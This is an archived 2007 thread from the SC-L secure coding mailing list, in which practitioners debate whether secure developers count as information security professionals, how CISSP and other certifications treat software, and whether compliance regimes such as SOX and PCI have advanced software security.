From James.McGovern at thehartford.com  Thu Mar  8 16:37:50 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Thu, 8 Mar 2007 16:37:50 -0500
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>

Traditionally InfoSec folks defined themselves as being knowledgable in firewalls, policies, etc. Lately, many enterprises are starting to recognize the importance of security within the software development lifecycle where even some have acknowledged that software is a common problem space for those things traditionally thought of as infrastructure. 

The harder part is not in terms of recognizing the trend but in terms of folks from the old world acknowledging folks from the new world (software development) also as security professionals. I haven't seen many folks make this transition. I do suspect that some of it is tied to the romance of certifications such as CISSP whereby the exams that prove you are a security professional talk all about physical security and network security but really don't address software development in any meaningful way.

Would be intriguing for folks here that blog to discuss ways for folks to transition / acknowledge respect not as just software developers with a specialization in security but in being true security professionals and treat them like peers all working on one common goal.

-----Original Message-----
From: Shea, Brian A [mailto:Brian.A.Shea at bankofamerica.com]
Sent: Thursday, March 08, 2007 2:07 PM
To: Gunnar Peterson; McGovern, James F (HTSC, IT)
Cc: SC-L at securecoding.org
Subject: RE: [SC-L] What defines an InfoSec Professional?


The right answer is both IMO.  You need the thinkers, integrators, and
operators to do it right.  The term Security Professional at its basic
level simply denotes someone who works to make things secure.

You can't be secure with only application security any more than you can
be secure with only firewalls or NIDs.  The entire ecosystem and
lifecycle must be risk managed and that is accomplished by security
professionals.  Each professional may have a specialty due to the
breadth of topics covered by Security (let's not forget our Physical
Security either), but all would be expected to act as professionals.
Professionals in this definition being people who are certified and
expected to operate within specified standards of quality and behavior
much like CISSP, CPA, MD, etc.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From michaelslists at gmail.com  Thu Mar  8 16:59:11 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Fri, 9 Mar 2007 08:59:11 +1100
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>
References: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>
	<773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>
Message-ID: <5e01c29a0703081359q4ded97bdob4041840ecfef2ba@mail.gmail.com>

On 3/9/07, McGovern, James F (HTSC, IT) <James.McGovern at thehartford.com>
wrote:
>
> Traditionally InfoSec folks defined themselves as being knowledgable in
> firewalls, policies, etc. Lately, many enterprises are starting to recognize
> the importance of security within the software development lifecycle where
> even some have acknowledged that software is a common problem space for
> those things traditionally thought of as infrastructure.
>
> The harder part is not in terms of recognizing the trend but in terms of
> folks from the old world acknowledging folks from the new world (software
> development) also as security professionals. I haven't seen many folks make
> this transition. I do suspect that some of it is tied to the romance of
> certifications such as CISSP whereby the exams that prove you are a security
> professional talk all about physical security and network security but
> really don't address software development in any meaningful way.
>
> Would be intriguing for folks here that blog to discuss ways for folks to
> transition / acknowledge respect not as just software developers with a
> specialization in security but in being true security professionals and
> treat them like peers all working on one common goal.



i hear you on this one.

australia, at least melbourne, still doesn't seem to have any idea of
software/application security professionals. almost all jobs that have
'security' in them, then go on to talk about all the firewalls you must know
how to configure. *sigh*. then there is the pen-testing side. there's should
be a new field, "security design" that accompanies application architect,
etc. then you have professional guidance of the security issues when
building for app.



-----Original Message-----
> From: Shea, Brian A [mailto:Brian.A.Shea at bankofamerica.com]
> Sent: Thursday, March 08, 2007 2:07 PM
> To: Gunnar Peterson; McGovern, James F (HTSC, IT)
> Cc: SC-L at securecoding.org
> Subject: RE: [SC-L] What defines an InfoSec Professional?
>
>
> The right answer is both IMO.  You need the thinkers, integrators, and
> operators to do it right.  The term Security Professional at its basic
> level simply denotes someone who works to make things secure.
>
> You can't be secure with only application security any more than you can
> be secure with only firewalls or NIDs.  The entire ecosystem and
> lifecycle must be risk managed and that is accomplished by security
> professionals.  Each professional may have a specialty due to the
> breadth of topics covered by Security (let's not forget our Physical
> Security either), but all would be expected to act as professionals.
> Professionals in this definition being people who are certified and
> expected to operate within specified standards of quality and behavior
> much like CISSP, CPA, MD, etc.
>
>
> *************************************************************************
> This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution is
> strictly prohibited.  If you are not the intended recipient, please notify
> the sender immediately by return e-mail, delete this communication and
> destroy all copies.
> *************************************************************************
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



-- 
mike
00110001 <3 00110111
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070309/cb7dacb4/attachment-0001.html 

From Greg.Beeley at LightSys.org  Thu Mar  8 18:23:34 2007
From: Greg.Beeley at LightSys.org (Greg Beeley)
Date: Thu, 08 Mar 2007 18:23:34 -0500
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>
Message-ID: <45F09AF6.4000608@LightSys.org>

 > [...] I do suspect that some of it is tied to the romance of
 > certifications such as CISSP whereby the exams that prove you are a
 > security professional talk all about physical security and network
 > security but really don't address software development in any meaningful
 > way. [...]

That's interesting.  While I have not taken the CISSP, I have studied
it a bit, and software & app development security is supposed to be one
of the 10 domains that the test covers.

Perhaps one of the issues here is that if you are in operations work
(network security, etc.), there are more aspects of the CISSP that are
relevant to your daily work.  In software development, there is usually
just the one - app development sec - that the developer thinks about,
unless the code has inherent security functionality, in which case
access control, architecture/models, and cryptography can be important
too.

I agree that the software developer is a key part of the security
big picture.  In fact one of the reasons that firewalls have become so
popular today is because of software bugs in host OS's and services...

But software dev is unique in several ways that mean that it may be
hard for the CISSP to cover it in a balanced manner.  Teaching an IT
person about fire and lightning protection, or about routers or
firewalls, about ACL's, or even about risk management, does not have
a steep learning curve.  But learning the basics needed to really
understand even high-level concepts regarding software security &
high-assurance development practices is a much higher learning
curve endeavor, in my view, for the typical IT person.

A few questions, then -- should all developers be/become security
professionals?  Even the most innocent "pet project" application can
end up having worldwide security implications, given the way apps
can be rapidly popularized these days.  What qualifications should a
developer meet, to be a "security professional"?  Should there be
something like the Common Criteria EAL's, but somewhat less formal,
to encourage broader use in labeling projects and code, esp. in the
open-source world?

- Greg

08-Mar-2007


From gunnar at arctecgroup.net  Thu Mar  8 19:22:43 2007
From: gunnar at arctecgroup.net (Gunnar Peterson)
Date: Thu, 08 Mar 2007 18:22:43 -0600
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>
Message-ID: <C21604F3.831D%gunnar@arctecgroup.net>

What Garigue was trying to say is that deploying a firewall on a network is
not security's mandate; it is _part of_ running a network. Basic hygiene.
Brushing your teeth is part of having teeth. Deploying anti-virus on a
windows desktop is not security; it is _part of_ operating a desktop. This
is an important distinction, because it captures why so much security spend
is targeted at the wrong issues. Security evolved out of operations, and
today we all still live with this historical baggage.

If you want to operate a network or a desktop in an enterprise, you have
certain security responsibilities defined by information security
policy...perhaps even backed up mechanisms, good for you, but these have
little to do with information security, much like going to a dentist that
just told you to brush your teeth and gave you a tooth brush would have
extremely limited value....yet this is what we get from information security
groups across this great cyberland of ours.

I would point you to the fallacy of keeping up with the Jones' explored in
detail at the Justice League

http://www.cigital.com/justiceleague/2007/02/22/keeping-up-with-the-jones-se
curity-initiatives/

Security groups that help businesses make risk tradeoffs based on
functionality, time, and cost add value (you know just like software
development does).

"Amateurs study cryptography; professionals study economics."
 -- Allan Schiffman

-gp


On 3/8/07 1:07 PM, "Shea, Brian A" <Brian.A.Shea at bankofamerica.com> wrote:

> The right answer is both IMO.  You need the thinkers, integrators, and
> operators to do it right.  The term Security Professional at its basic
> level simply denotes someone who works to make things secure.
> 
> You can't be secure with only application security any more than you can
> be secure with only firewalls or NIDs.  The entire ecosystem and
> lifecycle must be risk managed and that is accomplished by security
> professionals.  Each professional may have a specialty due to the
> breadth of topics covered by Security (let's not forget our Physical
> Security either), but all would be expected to act as professionals.
> Professionals in this definition being people who are certified and
> expected to operate within specified standards of quality and behavior
> much like CISSP, CPA, MD, etc.
> 
> -----Original Message-----
> From: sc-l-bounces at securecoding.org
> [mailto:sc-l-bounces at securecoding.org] On Behalf Of Gunnar Peterson
> Sent: Thursday, March 08, 2007 9:13 AM
> To: James.McGovern at thehartford.com
> Cc: SC-L at securecoding.org
> Subject: Re: [SC-L] What defines an InfoSec Professional?
> 
> actually just the former. Robert Garigue characterized firewalls, nids,
> et al as good network hygiene. The equivalent of a dentist telling you
> to brush your teeth. An infosec pro needs much more depth than that. The
> model is charlemagne
> 
> http://1raindrop.typepad.com/1_raindrop/2007/02/thinking_about_.html
> 
> -gp
> -----Original Message-----
> From: "McGovern, James F (HTSC, IT)" <James.McGovern at thehartford.com>
> Date: Thursday, Mar 8, 2007 10:27 am
> Subject: [SC-L] What defines an InfoSec Professional?
> 
> If you have two individuals, one of which has been practicing secure
> coding=
>  practices and encouraging others to do so for years while another
> individu= al was involved with firewalls, intrusion detection,
> information security p= olicies and so on, are they both information
> security professionals or just=
>  the later?
> 
> 
> ************************************************************************
> * This communication, including attachments, is
> for the exclusive use of addressee and may contain proprietary,
> confidential and/or privileged information.  If you are not the intended
> recipient, any use, copying, disclosure, dissemination or distribution
> is strictly prohibited.  If you are not the intended recipient, please
> notify the sender immediately by return e-mail, delete this
> communication and destroy all copies.
> ************************************************************************
> *
> 
> 
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC
> (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________



From coley at linus.mitre.org  Thu Mar  8 21:57:53 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Thu, 8 Mar 2007 21:57:53 -0500 (EST)
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <45F09AF6.4000608@LightSys.org>
References: <773F863A6009244B87E6E866AFC7DB46019CA50A@AD1HFDEXC309.ad1.prod>
	<45F09AF6.4000608@LightSys.org>
Message-ID: <Pine.GSO.4.51.0703082150280.8343@faron.mitre.org>


On Thu, 8 Mar 2007, Greg Beeley wrote:

> Perhaps one of the issues here is that if you are in operations work
> (network security, etc.), there are more aspects of the CISSP that are
> relevant to your daily work.  In software development, there is usually
> just the one - app development sec - that the developer thinks about,
> unless the code has inherent security functionality, in which case
> access control, architecture/models, and cryptography can be important
> too.

Secure development certification will hopefully come to the marketplace in
droves in the next year or two.  One organization is
not-so-privately-but-technically-not-yet-publicly preparing to roll
something out in the coming months, and hopefully that will inspire
others.  Insert obligatory cert disclaimer here, but geez it's badly
needed to raise the bar even a hair.

> developer meet, to be a "security professional"?  Should there be
> something like the Common Criteria EAL's, but somewhat less formal,
> to encourage broader use in labeling projects and code, esp. in the
> open-source world?

Dave Litchfield and I have *very* casually investigated forming a CC-like
concept of Vulnerability Assessment Assurance Levels (VAAL) which is
intended to reflect the depth of a vuln researcher's analysis as some
crude but semi-repeatable measure of assurance.  i've also done some
thinking about vulnerability complexity, and I assume I've mentioned my
vulnerability theory work on this list since I never shut up about it.
Such concepts could be turned around to reflect the depth of understanding
that a developer has - e.g. they know enough to try to strip out <SCRIPT>
tags but they don't know about javascript: in IMG tags.  I have a couple
pages of working notes on VAAL for offline dissemination for interested
parties who promise to give me feedback.

- Steve

From mshines at purdue.edu  Fri Mar  9 07:54:48 2007
From: mshines at purdue.edu (Michael S Hines)
Date: Fri, 9 Mar 2007 07:54:48 -0500
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <C21604F3.831D%gunnar@arctecgroup.net>
References: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>
	<C21604F3.831D%gunnar@arctecgroup.net>
Message-ID: <005101c7624a$1f33aa10$4ea7d280@central.purdue.lcl>

I respectfully disagree.

The need for a firewall or IDS is due to the poor coding of the receptor of
network traffic - so you have to prevent bad things from reaching the
receptor (which is the TCP/IP stack and then the host operating system - and
then the middleware and then the application).

The reason you have to prevent bad things from reaching the receptor (OS) is
because of poor coding practices in the receptor (OS).

In terms of state diagrams - you have an undefied state in the code - which
produces unpredictable actions.  Technically speaking, it's undesireable but
predictable actions - that's how the software can be used to gain
unauthorized entry.  And once someone finds the hole - the very mechanism
used for protection (networks) is used to spread the story.  Kind of like
the farmer eating his seed corn.   :)

Regarding roles - there are many who do Infosec - in many different roles.
Law makers, lawyers, Boards of Directors, management, policy staff,
technical staff, network engineers, programmers, quality assurance staff,
users, ethical hackers, unethical hackers, et al.

I'm not sure we're moving the industry forward by trying to say "I am one"
but "You are not" - are we?

Mike Hines
-----------------------------
Michael S Hines
mshines at purdue.edu



From secureCoding2dave at davearonson.com  Fri Mar  9 09:50:36 2007
From: secureCoding2dave at davearonson.com (SC-L Subscriber Dave Aronson)
Date: Fri, 09 Mar 2007 14:50:36 +0000
Subject: [SC-L] What defines an InfoSec Professional?
Message-ID: <W464991639823841173451836@webmail2>

James.McGovern at thehartford.com writes:

> certifications such as CISSP whereby the exams that
> prove you are a security professional talk all about
> physical security and network security but really don't
> address software development in any meaningful way.

Perhaps what is needed is a separate certification.  It would be nice to know that someone knows how to write software in a secure manner, but it's not necessary that they know all about physical security, firewall rules, etc.  It could even be done at multiple levels, like Sun's Java certs, to certify knowledge of secure design principles vs. secure *implementation* principles, maybe even going onward to principles of building security into the process.  Something like, say, Certified Secure Programmer, Coder, and Software Engineer, respectively.

 > Would be intriguing for folks here that blog to discuss ways

...in their blogs?  <rant size="micro">That's not discussion, that's pontificating.  It also detracts from discussion, by fracturing it.</rant>  Discussion is what we're having *here*, so whether someone blogs is irrelevant.

-Dave




From list-procurare at secureconsulting.net  Fri Mar  9 10:44:22 2007
From: list-procurare at secureconsulting.net (Benjamin Tomhave)
Date: Fri, 9 Mar 2007 10:44:22 -0500 (EST)
Subject: [SC-L] What defines an InfoSec Professional?
In-Reply-To: <005101c7624a$1f33aa10$4ea7d280@central.purdue.lcl>
References: <CC9C8DDEEAD1814BA5FED7227254EE5B34728E@ex2k.bankofamerica.com>
	<C21604F3.831D%gunnar@arctecgroup.net>
	<005101c7624a$1f33aa10$4ea7d280@central.purdue.lcl>
Message-ID: <3618.64.236.128.27.1173455062.squirrel@webmail.secureconsulting.net>

I'm gonna have to go ahead and disagree with you, there, Michael.  You're
looking at things far too narrowly.  And here's a very simple example:

Small business.  Single DMZ.  Hosts DB and Web App on separate platforms. 
Web app needs to make back-end calls to DB.  There's no reason whatsoever
why the DB itself needs to be directly exposed to the Internet.  Thus, you
implement a firewall that restricts ingress access on ports 80/443 to the
web server only.

This scenario would exist irregardless of the quality of the underlying
code, based on principles of default deny, defense in depth, segregation
of duties, etc.  In other words, don't put all your eggs in the "securely
coded" basket.

---
On the original topic... I don't think titles or certifications or even
security-related actions make a security professional.  I know personnel
within security departments who perform access management tasks without a
solid understanding of what all is contained within infosec.  They don't
know the security triad (C-I-A), they don't necessarily have a sound
understanding of why they're doing what they do, etc.  Yet they have
"security" in their titles.

Similarly, I've interviewed many a CISSP who I would not consider to be an
infosec professional.  Just because you can memorize a few facts within
the 10 infosec domains does not mean you get it.  I would even go so far
as to say that just because a developer reads the OWASP Top 10 and then
begins performing input validation does not make them an infosec
professional.  It makes them a better developer.

Bottom line, then, is that a true infosec professional should be defined
as someone working in a dedicated security role who distinguishes
themselves by their level of knowledge, wisdom, and experience that can be
demonstrably applied within the infosec genre.

fwiw & tgif.

cheers,

-ben

-- 
Benjamin Tomhave, MS, CISSP, NSA-IAM, NSA-IEM
falcon at secureconsulting.net
Web: http://falcon.secureconsulting.net/
LI: http://www.linkedin.com/profile?viewProfile=&key=1539292
Blog: http://www.secureconsulting.net/
Photos: http://photos.secureconsulting.net/

"We must scrupulously guard the civil liberties of all citizens, whatever
their background. We must remember that any oppression, any injustice, any
hatred is a wedge designed to attack our civilization."
-President Franklin Delano Roosevelt

On Fri, March 9, 2007 7:54 am, Michael S Hines wrote:
> I respectfully disagree.
>
> The need for a firewall or IDS is due to the poor coding of the receptor
> of
> network traffic - so you have to prevent bad things from reaching the
> receptor (which is the TCP/IP stack and then the host operating system -
> and
> then the middleware and then the application).
>
> The reason you have to prevent bad things from reaching the receptor (OS)
> is
> because of poor coding practices in the receptor (OS).
>
> In terms of state diagrams - you have an undefied state in the code -
> which
> produces unpredictable actions.  Technically speaking, it's undesireable
> but
> predictable actions - that's how the software can be used to gain
> unauthorized entry.  And once someone finds the hole - the very mechanism
> used for protection (networks) is used to spread the story.  Kind of like
> the farmer eating his seed corn.   :)
>
> Regarding roles - there are many who do Infosec - in many different roles.
> Law makers, lawyers, Boards of Directors, management, policy staff,
> technical staff, network engineers, programmers, quality assurance staff,
> users, ethical hackers, unethical hackers, et al.
>
> I'm not sure we're moving the industry forward by trying to say "I am one"
> but "You are not" - are we?
>
> Mike Hines
> -----------------------------
> Michael S Hines
> mshines at purdue.edu
>
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



From James.McGovern at thehartford.com  Fri Mar  9 17:27:07 2007
From: James.McGovern at thehartford.com (McGovern, James F (HTSC, IT))
Date: Fri, 9 Mar 2007 17:27:07 -0500
Subject: [SC-L] Information Protection Policies
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA4FB@AD1HFDEXC309.ad1.prod>
Message-ID: <773F863A6009244B87E6E866AFC7DB46019CA523@AD1HFDEXC309.ad1.prod>

Ken, in terms of a previous response to your posting in terms of getting customers to ask for secure coding practices from vendors, wouldn't it start with figuring out how they could simply cut-and-paste InfoSec policies into their own?

-----Original Message-----
From: sc-l-bounces at securecoding.org
[mailto:sc-l-bounces at securecoding.org]On Behalf Of McGovern, James F
(HTSC, IT)
Sent: Thursday, March 08, 2007 11:17 AM
To: SC-L at securecoding.org
Subject: [SC-L] Information Protection Policies


Hopefully lots of the consultants on this list have been wildly successful in getting Fortune enterprises to embrace secure coding practices. I am curious to learn of those who have also been successful in getting these same Fortune enterprises to incorporate the notion of secure coding practices into an information protection policy and whether there are any publicly available examples.


*************************************************************************
This communication, including attachments, is
for the exclusive use of addressee and may contain proprietary,
confidential and/or privileged information.  If you are not the intended
recipient, any use, copying, disclosure, dissemination or distribution is
strictly prohibited.  If you are not the intended recipient, please notify
the sender immediately by return e-mail, delete this communication and
destroy all copies.
*************************************************************************



From coley at linus.mitre.org  Sat Mar 10 12:35:09 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Sat, 10 Mar 2007 12:35:09 -0500 (EST)
Subject: [SC-L] Information Protection Policies
In-Reply-To: <773F863A6009244B87E6E866AFC7DB46019CA523@AD1HFDEXC309.ad1.prod>
References: <773F863A6009244B87E6E866AFC7DB46019CA523@AD1HFDEXC309.ad1.prod>
Message-ID: <Pine.GSO.4.51.0703101229370.13834@faron.mitre.org>


On a slightly tangential note, and apologies if this was mentioned on this
list previously, OWASP has some guidelines on how consumers can write up
contracts with their vendors related to secure software:

http://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex

- Steve

From jgrembi at gmail.com  Sun Mar 11 12:17:49 2007
From: jgrembi at gmail.com (Jason Grembi)
Date: Sun, 11 Mar 2007 13:17:49 -0400
Subject: [SC-L] SC-L] What defines an InfoSec Professional?
Message-ID: <930b20350703111017w1e2fd9f8t6cadb5d5867260ec@mail.gmail.com>

I'm not a CISSP person just because my clients haven't required it
yet.  However,
they are concerned with application security and restricting access to those
who are not authorized (in addition to XSS, SQL injection, and the usual
list of suspects).  I call myself a 'secure developer' only because I *think
* I know how to code countermeasures and I am aware of the types of attacks
an application can go through.



I see the field of programming naturally adopting security techniques in
their code the same way quality techniques crept into our lives.   Remember
when a person could code a few web screens and call himself a web developer
without ever one considering heap management, efficient SQL, and frameworks
that helped managed concurrent users.  I see security and all its coding
techniques following in the same path.  Eventually, it will not only be
required but assumed by the clients.  Those who can't adapt won't be hired.




I have actually stated working security related questions into our interview
process.  If I hire a web developer and he/she has never heard of social
engineering, I move on to the next candidate.



Just my thoughts.



Jason Grembi

Lead Web Developer
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070311/32efe554/attachment.html 

From gem at cigital.com  Mon Mar 12 15:52:35 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 12 Mar 2007 16:52:35 -0400
Subject: [SC-L] Darkreading: compliance
Message-ID: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>

hi sc-l,

this month's darkreading column is about compliance.  my own belief is
that compliance has really helped move software security forward.  in
particular, sox and pci have been a boon:

http://www.darkreading.com/document.asp?doc_id=119163

what do you think?  have compliance efforts you know about helped to
forward software security?

gem

company www.cigital.com
podcast www.cigital.com/silverbullet
blog www.cigital.com/justiceleague
book www.swsec.com



----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From bugtraq at cgisecurity.net  Mon Mar 12 16:04:11 2007
From: bugtraq at cgisecurity.net (bugtraq at cgisecurity.net)
Date: Mon, 12 Mar 2007 16:04:11 -0500 (EST)
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
Message-ID: <20070312210411.41496.qmail@cgisecurity.net>

> what do you think?  have compliance efforts you know about helped to
> forward software security?

Compliance brings accountability. Without accountability or financial impact people have
little incentive for putting security on the priority list. I for one welcome our compliance
overlords. 

Regards,

- Robert Auger
http://www.cgisecurity.com Application Security news and more
http://www.webappsec.org/

> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
> 
> 
> 
> ----------------------------------------------------------------------------
> This electronic message transmission contains information that may be
> confidential or privileged.  The information contained herein is intended
> solely for the recipient and use by any other party is not authorized.  If
> you are not the intended recipient (or otherwise authorized to receive this
> message by the intended recipient), any disclosure, copying, distribution or
> use of the contents of the information is prohibited.  If you have received
> this electronic message transmission in error, please contact the sender by
> reply email and delete all copies of this message.  Cigital, Inc. accepts no
> responsibility for any loss or damage resulting directly or indirectly from
> the use of this email or its contents.
> Thank You.
> ----------------------------------------------------------------------------
> 
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc - http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
> 


From michaelslists at gmail.com  Mon Mar 12 16:34:52 2007
From: michaelslists at gmail.com (Michael Silk)
Date: Tue, 13 Mar 2007 08:34:52 +1100
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
References: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
Message-ID: <5e01c29a0703121434w4436461and992c073293b85ce@mail.gmail.com>

On 3/13/07, Gary McGraw <gem at cigital.com> wrote:
>
> hi sc-l,
>
> this month's darkreading column is about compliance.  my own belief is
> that compliance has really helped move software security forward.  in
> particular, sox and pci have been a boon:
>
> http://www.darkreading.com/document.asp?doc_id=119163
>
> what do you think?  have compliance efforts you know about helped to
> forward software security?



no. my feeling is that it focuses management on unimportant things like
meeting checkpoints rather then actually doing useful things.


gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
>
>
> ----------------------------------------------------------------------------
> This electronic message transmission contains information that may be
> confidential or privileged.  The information contained herein is intended
> solely for the recipient and use by any other party is not authorized.  If
> you are not the intended recipient (or otherwise authorized to receive
> this
> message by the intended recipient), any disclosure, copying, distribution
> or
> use of the contents of the information is prohibited.  If you have
> received
> this electronic message transmission in error, please contact the sender
> by
> reply email and delete all copies of this message.  Cigital, Inc. accepts
> no
> responsibility for any loss or damage resulting directly or indirectly
> from
> the use of this email or its contents.
> Thank You.
>
> ----------------------------------------------------------------------------
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



-- 
mike
00110001 <3 00110111
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://krvw.com/pipermail/sc-l/attachments/20070313/fcbd76fc/attachment.html 

From gem at cigital.com  Mon Mar 12 16:38:09 2007
From: gem at cigital.com (Gary McGraw)
Date: Mon, 12 Mar 2007 17:38:09 -0400
Subject: [SC-L] Darkreading: compliance
Message-ID: <83B3489DF1064F4E90218770D953D36107B8E2@va-mail.cigital.com>

Maybe it depends on the vertical?   What vertical(s) did you find it a distraction in?

gem

 -----Original Message-----
From: 	Michael Silk [mailto:michaelslists at gmail.com]
Sent:	Mon Mar 12 17:34:56 2007
To:	Gary McGraw
Cc:	SC-L at securecoding.org
Subject:	Re: [SC-L] Darkreading: compliance

On 3/13/07, Gary McGraw <gem at cigital.com> wrote:
>
> hi sc-l,
>
> this month's darkreading column is about compliance.  my own belief is
> that compliance has really helped move software security forward.  in
> particular, sox and pci have been a boon:
>
> http://www.darkreading.com/document.asp?doc_id=119163
>
> what do you think?  have compliance efforts you know about helped to
> forward software security?



no. my feeling is that it focuses management on unimportant things like
meeting checkpoints rather then actually doing useful things.


gem
>
> company www.cigital.com
> podcast www.cigital.com/silverbullet
> blog www.cigital.com/justiceleague
> book www.swsec.com
>
>
>
>
> ----------------------------------------------------------------------------
> This electronic message transmission contains information that may be
> confidential or privileged.  The information contained herein is intended
> solely for the recipient and use by any other party is not authorized.  If
> you are not the intended recipient (or otherwise authorized to receive
> this
> message by the intended recipient), any disclosure, copying, distribution
> or
> use of the contents of the information is prohibited.  If you have
> received
> this electronic message transmission in error, please contact the sender
> by
> reply email and delete all copies of this message.  Cigital, Inc. accepts
> no
> responsibility for any loss or damage resulting directly or indirectly
> from
> the use of this email or its contents.
> Thank You.
>
> ----------------------------------------------------------------------------
>
> _______________________________________________
> Secure Coding mailing list (SC-L) SC-L at securecoding.org
> List information, subscriptions, etc -
> http://krvw.com/mailman/listinfo/sc-l
> List charter available at - http://www.securecoding.org/list/charter.php
> SC-L is hosted and moderated by KRvW Associates, LLC (http://www.KRvW.com)
> as a free, non-commercial service to the software security community.
> _______________________________________________
>



-- 
mike
00110001 <3 00110111




----------------------------------------------------------------------------
This electronic message transmission contains information that may be
confidential or privileged.  The information contained herein is intended
solely for the recipient and use by any other party is not authorized.  If
you are not the intended recipient (or otherwise authorized to receive this
message by the intended recipient), any disclosure, copying, distribution or
use of the contents of the information is prohibited.  If you have received
this electronic message transmission in error, please contact the sender by
reply email and delete all copies of this message.  Cigital, Inc. accepts no
responsibility for any loss or damage resulting directly or indirectly from
the use of this email or its contents.
Thank You.
----------------------------------------------------------------------------


From coley at linus.mitre.org  Mon Mar 12 18:26:19 2007
From: coley at linus.mitre.org (Steven M. Christey)
Date: Mon, 12 Mar 2007 19:26:19 -0400 (EDT)
Subject: [SC-L] Darkreading: compliance
In-Reply-To: <5e01c29a0703121434w4436461and992c073293b85ce@mail.gmail.com>
References: <83B3489DF1064F4E90218770D953D3610F29AF@va-mail.cigital.com>
	<5e01c29a0703121434w4436461and992c073293b85ce@mail.gmail.com>
Message-ID: <Pine.GSO.4.51.0703121922420.20361@faron.mitre.org>


On Tue, 13 Mar 2007, Michael Silk wrote:

> no. my feeling is that it focuses management on unimportant things like
> meeting checkpoints rather then actually doing useful things.

While I understand the sentiment, one thing I don't know is:  how could
you measure "doing useful things" in any repeatable, cost-effective
fashion that does not ultimately boil down to checklists of one form or
another?

- Steve

From crispin at novell.com  Mon Mar 12 18:27:05 2007
From: crispin at novell.com (Crispin Cowan)
Date: Mon, 12 Mar 2007 16:27:05 -0700
Subject: [SC-L] Economics of Software Vulnerabilities
In-Reply-To: <45ED640E.8080705@aesec.com>
References: <45ED640E.8080705@aesec.com>
Message-ID: <45F5E1C9.8030101@novell.com>

Ed Reed wrote:
